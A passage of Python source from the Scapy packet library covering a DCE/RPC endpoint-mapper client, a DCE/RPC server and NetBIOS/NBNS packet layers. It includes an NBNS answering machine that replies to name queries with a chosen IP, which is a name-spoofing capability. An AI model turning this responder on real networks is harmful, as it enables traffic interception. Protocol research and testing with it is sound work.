self.smbrpcsock.set_TID(self.ipc_tid) self.smbrpcsock.close_pipe() self.smbrpcsock.tree_disconnect() def connect_and_bind( self, host: str, interface: DceRpcInterface, port: Optional[int] = None, timeout: int = 5, smb_kwargs={}, ): """ Asks the Endpoint Mapper what address to use to connect to the interface, then uses connect() followed by a bind() :param host: the host to connect to :param interface: the DceRpcInterface object :param port: (optional, NCACN_NP only) the port to connect to :param timeout: (optional) the connection timeout (default 5) """ # Connect to the interface using the endpoint mapper self.connect( host=host, interface=interface, port=port, timeout=timeout, smb_kwargs=smb_kwargs, ) # Bind in RPC self.bind(interface) def epm_map(self, interface): """ Calls ept_map (the EndPoint Manager) """ if self.ndr64: ndr_uuid = "NDR64" ndr_version = 1 else: ndr_uuid = "NDR 2.0" ndr_version = 2 pkt = self.sr1_req( ept_map_Request( obj=NDRPointer( referent_id=1, value=UUID( Data1=0, Data2=0, Data3=0, Data4=None, ), ), map_tower=NDRPointer( referent_id=2, value=twr_p_t( tower_octet_string=bytes( protocol_tower_t( floors=[ prot_and_addr_t( lhs_length=19, protocol_identifier=0xD, uuid=interface.uuid, version=interface.major_version, rhs_length=2, rhs=interface.minor_version, ), prot_and_addr_t( lhs_length=19, protocol_identifier=0xD, uuid=ndr_uuid, version=ndr_version, rhs_length=2, rhs=0, ), prot_and_addr_t( lhs_length=1, protocol_identifier="RPC connection-oriented protocol", # noqa: E501 rhs_length=2, rhs=0, ), { DCERPC_Transport.NCACN_IP_TCP: ( prot_and_addr_t( lhs_length=1, protocol_identifier="NCACN_IP_TCP", rhs_length=2, rhs=135, ) ), DCERPC_Transport.NCACN_NP: ( prot_and_addr_t( lhs_length=1, protocol_identifier="NCACN_NP", rhs_length=2, rhs=b"0\x00", ) ), }[self.transport], { DCERPC_Transport.NCACN_IP_TCP: ( prot_and_addr_t( lhs_length=1, protocol_identifier="IP", rhs_length=4, rhs="0.0.0.0", ) ), DCERPC_Transport.NCACN_NP: ( prot_and_addr_t( lhs_length=1, protocol_identifier="NCACN_NB", rhs_length=10, rhs=b"127.0.0.1\x00", ) ), }[self.transport], ], ) ), ), ), entry_handle=NDRContextHandle( attributes=0, uuid=b"\x00" * 16, ), max_towers=500, ndr64=self.ndr64, ndrendian=self.ndrendian, ) ) if pkt and ept_map_Response in pkt: status = pkt[ept_map_Response].status # [MS-RPCE] sect 2.2.1.2.5 if status == 0x00000000: towers = [ protocol_tower_t(x.value.tower_octet_string) for x in pkt[ept_map_Response].ITowers.value[0].value ] # Let's do some checks to know we know what we're doing endpoints = [] for t in towers: if t.floors[0].uuid != interface.uuid: if self.verb: print( conf.color_theme.fail( "! Server answered with a different interface." ) ) raise ValueError if t.floors[1].sprintf("%uuid%") != ndr_uuid: if self.verb: print( conf.color_theme.fail( "! Server answered with a different NDR version." ) ) raise ValueError if self.transport == DCERPC_Transport.NCACN_IP_TCP: endpoints.append((t.floors[4].rhs, t.floors[3].rhs)) elif self.transport == DCERPC_Transport.NCACN_NP: endpoints.append(t.floors[3].rhs.rstrip(b"\x00").decode()) return endpoints elif status == 0x16C9A0D6: if self.verb: print( conf.color_theme.fail( "! Server errored: 'There are no elements that satisfy" " the specified search criteria'." ) ) raise ValueError print(conf.color_theme.fail("! Failure.")) if pkt: pkt.show() raise ValueError("EPM Map failed") def get_endpoint( ip, interface, transport=DCERPC_Transport.NCACN_IP_TCP, ndrendian="little", verb=True, ssp=None, smb_kwargs={}, ): """ Call the endpoint mapper on a remote IP to find an interface :param ip: :param interface: :param mode: :param verb: :param ssp: :return: a list of connection tuples for this interface """ client = DCERPC_Client( transport, # EPM only works with NDR32 ndr64=False, ndrendian=ndrendian, verb=verb, ssp=ssp, ) if transport == DCERPC_Transport.NCACN_IP_TCP: endpoint = 135 elif transport == DCERPC_Transport.NCACN_NP: endpoint = "epmapper" else: raise ValueError("Unknown transport value !") client.connect(ip, endpoint=endpoint, smb_kwargs=smb_kwargs) client.bind(find_dcerpc_interface("ept")) try: endpoints = client.epm_map(interface) finally: client.close() return endpoints ================================================ FILE: scapy/layers/msrpce/rpcserver.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ DCE/RPC server as per [MS-RPCE] """ import socket import uuid import threading from collections import deque from scapy.arch import get_if_addr from scapy.config import conf from scapy.data import MTU from scapy.volatile import RandShort from scapy.layers.dcerpc import ( CommonAuthVerifier, DCE_RPC_INTERFACES, DCERPC_Transport, DceRpc5, DceRpc5AlterContext, DceRpc5AlterContextResp, DceRpc5Auth3, DceRpc5Bind, DceRpc5BindAck, DceRpc5BindNak, DceRpc5Fault, DceRpc5PortAny, DceRpc5Request, DceRpc5Response, DceRpc5Result, DceRpc5TransferSyntax, DceRpcInterface, DceRpcSession, NDRPacket, RPC_C_AUTHN_LEVEL, ) # RPC from scapy.layers.msrpce.ept import ( ept_map_Request, ept_map_Response, twr_p_t, protocol_tower_t, prot_and_addr_t, ) # Typing from typing import ( Dict, Callable, Optional, Tuple, ) class _DCERPC_Server_metaclass(type): # This value is calculated for each DCE/RPC server, and contains # the callables sorted by interface+opnum dcerpc_commands: Dict[Tuple[uuid.UUID, int], Callable] = {} def __new__(cls, name, bases, dct): dct.setdefault( "dcerpc_commands", {x.dcerpc_command: x for x in dct.values() if hasattr(x, "dcerpc_command")}, ) return type.__new__(cls, name, bases, dct) class DCERPC_Server(metaclass=_DCERPC_Server_metaclass): def __init__( self, transport: DCERPC_Transport, ndr64: Optional[bool] = None, verb: bool = True, local_ip: str = None, port: int = None, portmap: Dict[DceRpcInterface, int] = None, **kwargs, ): self.transport = transport self.session = DceRpcSession(**kwargs) self.queue = deque() if ndr64 is None: ndr64 = conf.ndr64 self.ndr64 = ndr64 # For endpoint mapper. TODO: improve separation/handling of SMB/IP etc self.local_ip = local_ip self.port = port self.portmap = portmap or {} self.verb = verb def loop(self, sock): while True: pkt = sock.recv(MTU) if not pkt: break self.recv(pkt) # send all possible responses while True: resp = self.get_response() if not resp: break sock.send(bytes(resp)) @staticmethod def answer(reqcls): """ A decorator that registers a DCE/RPC responder to a command. See the DCE/RPC documentation. :param reqcls: the DCE/RPC packet class to respond to """ def deco(func): if not issubclass(reqcls, NDRPacket): raise ValueError("Cannot answer a non NDRPacket class !") try: func.dcerpc_command = reqcls.intf, reqcls.opnum except AttributeError: raise ValueError( "NDRPacket class isn't registered or isn't a request !" ) return func return deco def extend(self, server_cls): """ Extend a DCE/RPC server into another """ self.dcerpc_commands.update(server_cls.dcerpc_commands) def make_reply(self, req): """ Make a response to the DCE/RPC request. This finds whether a callback has been registered for this particular packet, and call it if available. """ opnum = req[DceRpc5Request].opnum intf = self.session.rpc_bind_interface.uuid if (intf, opnum) in self.dcerpc_commands: # call handler return self.dcerpc_commands[(intf, opnum)](self, req) return None @classmethod def spawn(cls, transport, iface=None, port=135, bg=False, **kwargs): """ Spawn a DCE/RPC server :param transport: one of DCERPC_Transport :param iface: the interface to spawn it on (default: conf.iface) :param port: the port to spawn it on (for IP_TCP or the SMB server) :param bg: background mode? (default: False) :param ndr64: whether NDR64 is supported or not (default: conf.ndr64). This attribute will be overwritten if the client doesn't support it. """ if transport == DCERPC_Transport.NCACN_IP_TCP: # IP/TCP case ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) local_ip = get_if_addr(iface or conf.iface) try: ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) except OSError: pass ssock.bind((local_ip, port)) ssock.listen(5) sockets = [] if kwargs.get("verb", True): print( conf.color_theme.green( "Server %s started. Waiting..." % cls.__name__ ) ) def _run(): # Wait for clients forever try: while True: clientsocket, address = ssock.accept() sockets.append(clientsocket) print( conf.color_theme.gold( "\u2503 Connection received from %s" % repr(address) ) ) server = cls( DCERPC_Transport.NCACN_IP_TCP, local_ip=local_ip, port=port, **kwargs, ) threading.Thread( target=server.loop, args=(clientsocket,) ).start() except KeyboardInterrupt: print("X Exiting.") ssock.shutdown(socket.SHUT_RDWR) except OSError: print("X Server closed.") finally: for sock in sockets: try: sock.shutdown(socket.SHUT_RDWR) sock.close() except Exception: pass ssock.close() if bg: # Background threading.Thread(target=_run).start() return ssock else: # Non-background _run() elif transport == DCERPC_Transport.NCACN_NP: # SMB case from scapy.layers.smbserver import SMB_Server kwargs.setdefault("shares", []) # do not expose files by default return SMB_Server.spawn( iface=iface or conf.iface, port=port, bg=bg, # Important: pass the DCE/RPC server DCERPC_SERVER_CLS=cls, # SMB parameters **kwargs, ) else: raise ValueError("Unsupported transport :(") def recv(self, data): if isinstance(data, bytes): req = DceRpc5(data) else: req = data # If the packet has padding, it contains several fragments pad = None if conf.padding_layer in req: pad = req[conf.padding_layer].load req[conf.padding_layer].underlayer.remove_payload() # Ask the DCE/RPC session to process it (match interface, etc.) req = self.session.in_pkt(req) hdr = DceRpc5( endian=req.endian, encoding=req.encoding, float=req.float, call_id=req.call_id, ) # Now process the packet based on the DCE/RPC type if DceRpc5Bind in req or DceRpc5AlterContext in req or DceRpc5Auth3 in req: # Log if self.verb: print( conf.color_theme.opening( "<< %s" % req.payload.__class__.__name__ + ( " (with %s%s)" % ( self.session.ssp.__class__.__name__, ( f" - {self.session.auth_level.name}" if self.session.auth_level is not None else "" ), ) if self.session.ssp else "" ) ) ) if not self.session.rpc_bind_interface: # The session did not find a matching interface ! self.queue.extend(self.session.out_pkt(hdr / DceRpc5BindNak())) if self.verb: print(conf.color_theme.fail("! DceRpc5BindNak (unknown interface)")) else: auth_value, status = None, 0 if ( self.session.ssp and req.auth_verifier and req.auth_verifier.auth_value ): ( self.session.sspcontext, auth_value, status, ) = self.session.ssp.GSS_Accept_sec_context( self.session.sspcontext, req.auth_verifier.auth_value ) self.session.auth_level = RPC_C_AUTHN_LEVEL( req.auth_verifier.auth_level ) self.session.auth_context_id = req.auth_verifier.auth_context_id if DceRpc5Auth3 in req: # Auth 3 stops here (no server response) ! if status != 0: print(conf.color_theme.fail("! DceRpc5Auth3 failed")) if pad is not None: self.recv(pad) return # auth_verifier here contains the SSP nego packets # (whereas it usually contains the verifiers) if auth_value is not None: hdr.auth_verifier = CommonAuthVerifier( auth_type=req.auth_verifier.auth_type, auth_level=req.auth_verifier.auth_level, auth_context_id=req.auth_verifier.auth_context_id, auth_value=auth_value, ) # Detect if the client requested NDR64 and the server agrees self.ndr64 = self.ndr64 and any( ctx.transfer_syntaxes[0].sprintf("%if_uuid%") == "NDR64" for ctx in req.context_elem ) # Process bind contexts and answer to them results = [] for ctx in req.context_elem: # Get name name = ctx.transfer_syntaxes[0].sprintf("%if_uuid%") if ( # NDR64 (name == "NDR64" and self.ndr64) or # NDR 2.0 (name == "NDR 2.0" and not self.ndr64) ): # Acceptance results.append( DceRpc5Result( result=0, reason=0, transfer_syntax=DceRpc5TransferSyntax( if_uuid=ctx.transfer_syntaxes[0].if_uuid, if_version=ctx.transfer_syntaxes[0].if_version, ), ) ) elif name == "Bind Time Feature Negotiation": # Handle Bind Time Feature results.append( DceRpc5Result( result=3, reason=3, transfer_syntax=DceRpc5TransferSyntax( if_uuid="NULL", if_version=0, ), ) ) else: # Reject results.append( DceRpc5Result( result=2, reason=2, transfer_syntax=DceRpc5TransferSyntax( if_uuid="NULL", if_version=0, ), ) ) if self.port is None: # Piped port_spec = ( b"\\\\PIPE\\\\%s\0" % self.session.rpc_bind_interface.name.encode() ) else: # IP port_spec = str(self.port).encode() + b"\x00" if DceRpc5Bind in req: cls = DceRpc5BindAck else: cls = DceRpc5AlterContextResp self.queue.extend( self.session.out_pkt( hdr / cls( assoc_group_id=int(RandShort()), sec_addr=DceRpc5PortAny( port_spec=port_spec, ), results=results, ), ) ) if self.verb: print( conf.color_theme.success( f">> {cls.__name__} {self.session.rpc_bind_interface.name}" f" is on port '{port_spec.decode()}' using " + ("NDR64" if self.ndr64 else "NDR32") ) ) elif DceRpc5Request in req: if self.verb: print( conf.color_theme.opening( "<< REQUEST: %s" % req[DceRpc5Request].payload.__class__.__name__ ) ) # Can be any RPC request ! resp = self.make_reply(req) if resp: self.queue.extend( self.session.out_pkt( hdr / DceRpc5Response( alloc_hint=len(resp), cont_id=req.cont_id, ) / resp, ) ) if self.verb: print( conf.color_theme.success( ">> RESPONSE: %s" % (resp.__class__.__name__) ) ) else: # Unimplemented request ! if self.verb: print( conf.color_theme.fail( "! RPC request not implemented by server." ) ) req.show() # Return a Fault hdr.pfc_flags += "PFC_DID_NOT_EXECUTE" self.queue.extend( hdr / DceRpc5Fault( # nca_s_op_rng_error status=0x1C010002, cont_id=req.cont_id, ) ) # If there was padding, process the second frag if pad is not None: self.recv(pad) def get_response(self): try: return self.queue.popleft() except IndexError: return None # Endpoint mapper @answer.__func__(ept_map_Request) # hack for Python <= 3.9 def ept_map(self, req): """ Answer to ept_map_Request. """ if self.transport != DCERPC_Transport.NCACN_IP_TCP: raise ValueError("Unimplemented") tower = protocol_tower_t( req[ept_map_Request].valueof("map_tower.tower_octet_string") ) uuid = tower.floors[0].uuid if_version = (tower.floors[0].rhs << 16) | tower.floors[0].version # Check for results in our portmap port = None if (uuid, if_version) in DCE_RPC_INTERFACES: interface = DCE_RPC_INTERFACES[(uuid, if_version)] if interface in self.portmap: port = self.portmap[interface] if port is not None: # Found result resp_tower = twr_p_t( tower_octet_string=bytes( protocol_tower_t( floors=[ tower.floors[0], # UUID tower.floors[1], # NDR version tower.floors[2], # RPC version prot_and_addr_t( lhs_length=1, protocol_identifier="NCACN_IP_TCP", rhs_length=2, rhs=port, ), prot_and_addr_t( lhs_length=1, protocol_identifier="IP", rhs_length=4, rhs=self.local_ip or "0.0.0.0", ), ] ) ) ) resp = ept_map_Response(ITowers=[resp_tower], ndr64=self.ndr64) resp.ITowers.max_count = req.max_towers # ugh else: # No result found pass return resp ================================================ FILE: scapy/layers/netbios.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ NetBIOS over TCP/IP [RFC 1001/1002] """ import struct from scapy.arch import get_if_addr from scapy.base_classes import Net from scapy.ansmachine import AnsweringMachine from scapy.compat import bytes_encode from scapy.config import conf from scapy.packet import Packet, bind_bottom_up, bind_layers, bind_top_down from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, FieldLenField, FlagsField, IPField, IntField, NetBIOSNameField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, XShortField, XStrFixedLenField ) from scapy.interfaces import _GlobInterfaceType from scapy.sendrecv import sr1 from scapy.layers.inet import IP, UDP, TCP from scapy.layers.l2 import Ether, SourceMACField # Typing imports from typing import ( List, Union, ) class NetBIOS_DS(Packet): name = "NetBIOS datagram service" fields_desc = [ ByteEnumField("type", 17, {17: "direct_group"}), ByteField("flags", 0), XShortField("id", 0), IPField("src", "127.0.0.1"), ShortField("sport", 138), ShortField("len", None), ShortField("ofs", 0), NetBIOSNameField("srcname", ""), NetBIOSNameField("dstname", ""), ] def post_build(self, p, pay): p += pay if self.len is None: tmp_len = len(p) - 14 p = p[:10] + struct.pack("!H", tmp_len) + p[12:] return p # ShortField("length",0), # ShortField("Delimiter",0), # ByteField("command",0), # ByteField("data1",0), # ShortField("data2",0), # ShortField("XMIt",0), # ShortField("RSPCor",0), # StrFixedLenField("dest","",16), # StrFixedLenField("source","",16), # # ] # # NetBIOS _NETBIOS_SUFFIXES = { 0x4141: "workstation", 0x4141 + 0x03: "messenger service", 0x4141 + 0x200: "file server service", 0x4141 + 0x10b: "domain master browser", 0x4141 + 0x10c: "domain controller", 0x4141 + 0x10e: "browser election service" } _NETBIOS_QRTYPES = { 0x20: "NB", 0x21: "NBSTAT" } _NETBIOS_QRCLASS = { 1: "INTERNET" } _NETBIOS_RNAMES = { 0xC00C: "Label String Pointer to QUESTION_NAME" } _NETBIOS_OWNER_MODE_TYPES = { 0: "B node", 1: "P node", 2: "M node", 3: "H node" } _NETBIOS_GNAMES = { 0: "Unique name", 1: "Group name" } class NBNSHeader(Packet): name = "NBNS Header" fields_desc = [ ShortField("NAME_TRN_ID", 0), BitField("RESPONSE", 0, 1), BitField("OPCODE", 0, 4), FlagsField("NM_FLAGS", 0, 7, ["B", "res1", "res0", "RA", "RD", "TC", "AA"]), BitField("RCODE", 0, 4), ShortField("QDCOUNT", 0), ShortField("ANCOUNT", 0), ShortField("NSCOUNT", 0), ShortField("ARCOUNT", 0), ] def hashret(self): return b"NBNS" + struct.pack("!B", self.OPCODE) # Name Query Request # RFC1002 sect 4.2.12 class NBNSQueryRequest(Packet): name = "NBNS query request" fields_desc = [NetBIOSNameField("QUESTION_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS)] def mysummary(self): return "NBNSQueryRequest who has '\\\\%s'" % ( self.QUESTION_NAME.decode(errors="backslashreplace") ) bind_layers(NBNSHeader, NBNSQueryRequest, OPCODE=0x0, NM_FLAGS=0x11, QDCOUNT=1) # Name Query Response # RFC1002 sect 4.2.13 class NBNS_ADD_ENTRY(Packet): fields_desc = [ BitEnumField("G", 0, 1, _NETBIOS_GNAMES), BitEnumField("OWNER_NODE_TYPE", 00, 2, _NETBIOS_OWNER_MODE_TYPES), BitEnumField("UNUSED", 0, 13, {0: "Unused"}), IPField("NB_ADDRESS", "127.0.0.1") ] class NBNSQueryResponse(Packet): name = "NBNS query response" fields_desc = [NetBIOSNameField("RR_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 0x493e0), FieldLenField("RDLENGTH", None, length_of="ADDR_ENTRY"), PacketListField("ADDR_ENTRY", [NBNS_ADD_ENTRY()], NBNS_ADD_ENTRY, length_from=lambda pkt: pkt.RDLENGTH) ] def mysummary(self): if not self.ADDR_ENTRY or \ not isinstance(self.ADDR_ENTRY[0], NBNS_ADD_ENTRY): return "NBNSQueryResponse" return "NBNSQueryResponse '\\\\%s' is at %s" % ( self.RR_NAME.decode(errors="backslashreplace"), self.ADDR_ENTRY[0].NB_ADDRESS ) def answers(self, other): return ( isinstance(other, NBNSQueryRequest) and other.QUESTION_NAME == self.RR_NAME ) bind_layers(NBNSHeader, NBNSQueryResponse, # RD+AA OPCODE=0x0, NM_FLAGS=0x50, RESPONSE=1, ANCOUNT=1) for _flg in [0x58, 0x70, 0x78]: bind_bottom_up(NBNSHeader, NBNSQueryResponse, OPCODE=0x0, NM_FLAGS=_flg, RESPONSE=1, ANCOUNT=1) # Node Status Request # RFC1002 sect 4.2.17 class NBNSNodeStatusRequest(NBNSQueryRequest): name = "NBNS status request" QUESTION_NAME = b"*" + b"\x00" * 14 QUESTION_TYPE = 0x21 def mysummary(self): return "NBNSNodeStatusRequest who has '\\\\%s'" % ( self.QUESTION_NAME.decode(errors="backslashreplace") ) bind_bottom_up(NBNSHeader, NBNSNodeStatusRequest, OPCODE=0x0, NM_FLAGS=0, QDCOUNT=1) bind_layers(NBNSHeader, NBNSNodeStatusRequest, OPCODE=0x0, NM_FLAGS=1, QDCOUNT=1) # Node Status Response # RFC1002 sect 4.2.18 class NBNSNodeStatusResponseService(Packet): name = "NBNS Node Status Response Service" fields_desc = [StrFixedLenField("NETBIOS_NAME", "WINDOWS ", 15), ByteEnumField("SUFFIX", 0, {0: "workstation", 0x03: "messenger service", 0x20: "file server service", 0x1b: "domain master browser", 0x1c: "domain controller", 0x1e: "browser election service" }), ByteField("NAME_FLAGS", 0x4), ByteEnumField("UNUSED", 0, {0: "unused"})] def default_payload_class(self, payload): return conf.padding_layer class NBNSNodeStatusResponse(Packet): name = "NBNS Node Status Response" fields_desc = [NetBIOSNameField("RR_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("RR_TYPE", 0x21, _NETBIOS_QRTYPES), ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 0), ShortField("RDLENGTH", 83), FieldLenField("NUM_NAMES", None, fmt="B", count_of="NODE_NAME"), PacketListField("NODE_NAME", [NBNSNodeStatusResponseService()], NBNSNodeStatusResponseService, count_from=lambda pkt: pkt.NUM_NAMES), SourceMACField("MAC_ADDRESS"), XStrFixedLenField("STATISTICS", b"", 46)] def answers(self, other): return ( isinstance(other, NBNSNodeStatusRequest) and other.QUESTION_NAME == self.RR_NAME ) bind_layers(NBNSHeader, NBNSNodeStatusResponse, OPCODE=0x0, NM_FLAGS=0x40, RESPONSE=1, ANCOUNT=1) # Name Registration Request # RFC1002 sect 4.2.2 class NBNSRegistrationRequest(Packet): name = "NBNS registration request" fields_desc = [ NetBIOSNameField("QUESTION_NAME", "Windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS), ShortEnumField("RR_NAME", 0xC00C, _NETBIOS_RNAMES), ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 0), ShortField("RDLENGTH", 6), BitEnumField("G", 0, 1, _NETBIOS_GNAMES), BitEnumField("OWNER_NODE_TYPE", 00, 2, _NETBIOS_OWNER_MODE_TYPES), BitEnumField("UNUSED", 0, 13, {0: "Unused"}), IPField("NB_ADDRESS", "127.0.0.1") ] def mysummary(self): return self.sprintf("Register %G% %QUESTION_NAME% at %NB_ADDRESS%") bind_bottom_up(NBNSHeader, NBNSRegistrationRequest, OPCODE=0x5) bind_layers(NBNSHeader, NBNSRegistrationRequest, OPCODE=0x5, NM_FLAGS=0x11, QDCOUNT=1, ARCOUNT=1) # Wait for Acknowledgement Response # RFC1002 sect 4.2.16 class NBNSWackResponse(Packet): name = "NBNS Wait for Acknowledgement Response" fields_desc = [NetBIOSNameField("RR_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 2), ShortField("RDLENGTH", 2), BitField("RDATA", 10512, 16)] # 10512=0010100100010000 bind_layers(NBNSHeader, NBNSWackResponse, OPCODE=0x7, NM_FLAGS=0x40, RESPONSE=1, ANCOUNT=1) # NetBIOS DATAGRAM HEADER class NBTDatagram(Packet): name = "NBT Datagram Packet" fields_desc = [ByteField("Type", 0x10), ByteField("Flags", 0x02), ShortField("ID", 0), IPField("SourceIP", "127.0.0.1"), ShortField("SourcePort", 138), ShortField("Length", None), ShortField("Offset", 0), NetBIOSNameField("SourceName", "windows"), ShortEnumField("SUFFIX1", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL1", 0), NetBIOSNameField("DestinationName", "windows"), ShortEnumField("SUFFIX2", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL2", 0)] def post_build(self, pkt, pay): if self.Length is None: length = len(pay) + 68 pkt = pkt[:10] + struct.pack("!H", length) + pkt[12:] return pkt + pay # SESSION SERVICE PACKETS class NBTSession(Packet): name = "NBT Session Packet" MAXLENGTH = 0x3ffff fields_desc = [ByteEnumField("TYPE", 0, {0x00: "Session Message", 0x81: "Session Request", 0x82: "Positive Session Response", 0x83: "Negative Session Response", 0x84: "Retarget Session Response", 0x85: "Session Keepalive"}), BitField("RESERVED", 0x00, 7), BitField("LENGTH", None, 17)] def post_build(self, pkt, pay): if self.LENGTH is None: length = len(pay) & self.MAXLENGTH pkt = pkt[:1] + struct.pack("!I", length)[1:] return pkt + pay def extract_padding(self, s): return s[:self.LENGTH], s[self.LENGTH:] @classmethod def tcp_reassemble(cls, data, *args, **kwargs): if len(data) < 4: return None length = struct.unpack("!I", data[:4])[0] & cls.MAXLENGTH if len(data) >= length + 4: return cls(data) bind_bottom_up(UDP, NBNSHeader, dport=137) bind_bottom_up(UDP, NBNSHeader, sport=137) bind_top_down(UDP, NBNSHeader, sport=137, dport=137) bind_bottom_up(UDP, NBTDatagram, dport=138) bind_bottom_up(UDP, NBTDatagram, sport=138) bind_top_down(UDP, NBTDatagram, sport=138, dport=138) bind_bottom_up(TCP, NBTSession, dport=445) bind_bottom_up(TCP, NBTSession, sport=445) bind_bottom_up(TCP, NBTSession, dport=139) bind_bottom_up(TCP, NBTSession, sport=139) bind_layers(TCP, NBTSession, dport=139, sport=139) _nbns_cache = conf.netcache.new_cache("nbns_cache", 300) @conf.commands.register def nbns_resolve( qname: str, iface: Union[_GlobInterfaceType, List[_GlobInterfaceType]] = None, raw: bool = False, timeout: int = 3, **kwargs, ) -> List[str]: """ Perform a simple NBNS (NetBios Name Services) resolution with caching :param qname: the name to query :param iface: the interfaces to use. (default: all) :param raw: return the whole netbios packet (default False) :param timeout: seconds until timeout (per server) :raise TimeoutError: if no DNS servers were reached in time. """ kwargs.setdefault("verbose", 0) # Unify types (for caching) qname = NBNSQueryRequest.QUESTION_NAME.any2i(None, qname) # Check cache cache_ident = qname + b"raw" if raw else b"" result = _nbns_cache.get(cache_ident) if result: return result if iface is None: ifaces = [ x for name, x in conf.ifaces.items() if x.is_valid() and name != conf.loopback_name ] elif isinstance(iface, list): ifaces = iface else: ifaces = [iface] # Builds a request for each broadcast address of each interface requests = [] for iface in ifaces: for bdcst in conf.route.get_if_bcast(iface): if bdcst == "255.255.255.255": continue requests.append( IP(dst=bdcst) / UDP() / NBNSHeader() / NBNSQueryRequest(QUESTION_NAME=qname) ) if not requests: return None # Perform requests, get the first response try: old_checkIPAddr = conf.checkIPaddr conf.checkIPaddr = False res = sr1( requests, timeout=timeout, first=True, **kwargs, ) finally: conf.checkIPaddr = old_checkIPAddr if res is not None: if raw: # Raw result = res else: # Get IP result = [x.NB_ADDRESS for x in res.ADDR_ENTRY] if result: # Cache it _nbns_cache[cache_ident] = result return result else: raise TimeoutError class NBNS_am(AnsweringMachine): function_name = "nbnsd" filter = "udp port 137" sniff_options = {"store": 0} def parse_options(self, server_name=None, from_ip=None, ip=None): """ NBNS answering machine :param server_name: the netbios server name to match :param from_ip: an IP (can have a netmask) to filter on :param ip: the IP to answer with """ self.ServerName = bytes_encode(server_name or "") self.ip = ip if isinstance(from_ip, str): self.from_ip = Net(from_ip) else: self.from_ip = from_ip def is_request(self, req): if self.from_ip and IP in req and req[IP].src not in self.from_ip: return False return NBNSQueryRequest in req and ( not self.ServerName or req[NBNSQueryRequest].QUESTION_NAME.strip() == self.ServerName ) def make_reply(self, req): # type: (Packet) -> Packet resp = Ether( dst=req[Ether].src, src=None if req[Ether].dst == "ff:ff:ff:ff:ff:ff" else req[Ether].dst, ) / IP(dst=req[IP].src) / UDP( sport=req.dport, dport=req.sport, ) address = self.ip or get_if_addr(self.optsniff.get("iface", conf.iface)) resp /= NBNSHeader() / NBNSQueryResponse( RR_NAME=self.ServerName or req.QUESTION_NAME, SUFFIX=req.SUFFIX, ADDR_ENTRY=[NBNS_ADD_ENTRY(NB_ADDRESS=address)] ) resp.NAME_TRN_ID = req.NAME_TRN_ID return resp ================================================ FILE: scapy/layers/netflow.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Netflow V5 appended by spaceB0x and Guillaume Valadon # Netflow V9/10 appended by Gabriel Potter """ Cisco NetFlow protocol v1, v5, v9 and v10 (IPFix) HowTo dissect NetflowV9/10 (IPFix) packets # From a pcap / list of packets Using sniff and sessions:: >>> sniff(offline=open("my_great_pcap.pcap", "rb"), session=NetflowSession) Using the netflowv9_defragment/ipfix_defragment commands: - get a list of packets containing NetflowV9/10 packets - call `netflowv9_defragment(plist)` to defragment the list (ipfix_defragment is an alias for netflowv9_defragment) # Live / on-the-flow / other: use NetflowSession:: >>> sniff(session=NetflowSession, prn=[...]) .. note:: You will find more examples over https://scapy.readthedocs.io/en/latest/layers/netflow.html """ import dataclasses import socket import struct from collections import Counter from scapy.config import conf from scapy.data import IP_PROTOS from scapy.error import warning, Scapy_Exception from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, FlagsField, IntField, IPField, LongField, MACField, NBytesField, PacketListField, SecondsIntField, ShortEnumField, ShortField, StrField, StrFixedLenField, StrLenField, ThreeBytesField, UTCTimeField, XByteField, XShortField, ) from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.plist import PacketList from scapy.sessions import IPSession from scapy.layers.inet import UDP from scapy.layers.inet6 import IP6Field # Typing imports from typing import ( Any, Dict, Optional, ) class NetflowHeader(Packet): name = "Netflow Header" fields_desc = [ShortField("version", 1)] for port in [2055, 2056, 9995, 9996, 6343]: # Classic NetFlow ports bind_bottom_up(UDP, NetflowHeader, dport=port) bind_bottom_up(UDP, NetflowHeader, sport=port) # However, we'll default to 2055, classic among classics :) bind_layers(UDP, NetflowHeader, dport=2055, sport=2055) ########################################### # Netflow Version 1 ########################################### class NetflowHeaderV1(Packet): name = "Netflow Header v1" fields_desc = [ShortField("count", None), IntField("sysUptime", 0), UTCTimeField("unixSecs", 0), UTCTimeField("unixNanoSeconds", 0, use_nano=True)] def post_build(self, pkt, pay): if self.count is None: count = len(self.layers()) - 1 pkt = struct.pack("!H", count) + pkt[2:] return pkt + pay class NetflowRecordV1(Packet): name = "Netflow Record v1" 